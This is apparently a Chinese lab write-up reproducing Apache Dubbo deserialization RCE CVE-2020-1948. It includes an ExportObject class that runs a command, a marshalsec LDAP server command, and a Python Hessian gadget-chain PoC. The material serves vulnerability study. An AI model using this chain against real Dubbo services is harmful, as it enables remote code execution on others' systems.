Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)
Apache Dubbo Provider 存在反序列化漏洞,攻击者可以通过 RPC 请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。
影响版本
Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x (官方不再维护)
环境搭建
复现环境:
环境下载地址:
https://gist.github.com/OneSourceCat/01277dceba635eefbc010af36d3704d7
-
将下载的环境导入到 IDEA
中:
-
mac 下安装 zookeeper
:
1
2
|
brew install zookeeper
brew services start zookeeper
|
-
修改 Provider.java
文件,指定 Spring 加载配置文件的方式:
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("file:/Volumes/MacOS/WorkSpace/JAVA/dubbo-poc/DubboModules/src/resources/provider.xml") ;
-
修改 Consumer.java
文件,指定 Spring 加载配置文件的方式:
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("file:/Volumes/MacOS/WorkSpace/JAVA/dubbo-poc/dubboconsumer/resources/consumer.xml") ;
-
运行 Provider.java
:
-
编译 ExportObject.java
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public class ExportObject {
public ExportObject() throws Exception {
try {
java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
ExportObject e = new ExportObject();
}
}
|
1
|
javac ExportObject.java
|
注意
:此处要用相同版本或低版本的 JDK 进行编译,否则反序列化失败。
- 启动
LDAP
服务:
1
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#ExportObject" 8087
|
- 启动 HTTP 服务:
- 运行
consumer.java
,反序列化:
发现可以成功弹出计算器。
使用 poc
进行测试:
使用前先 pip install dubbo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 20881)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/#ExportObject",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])
|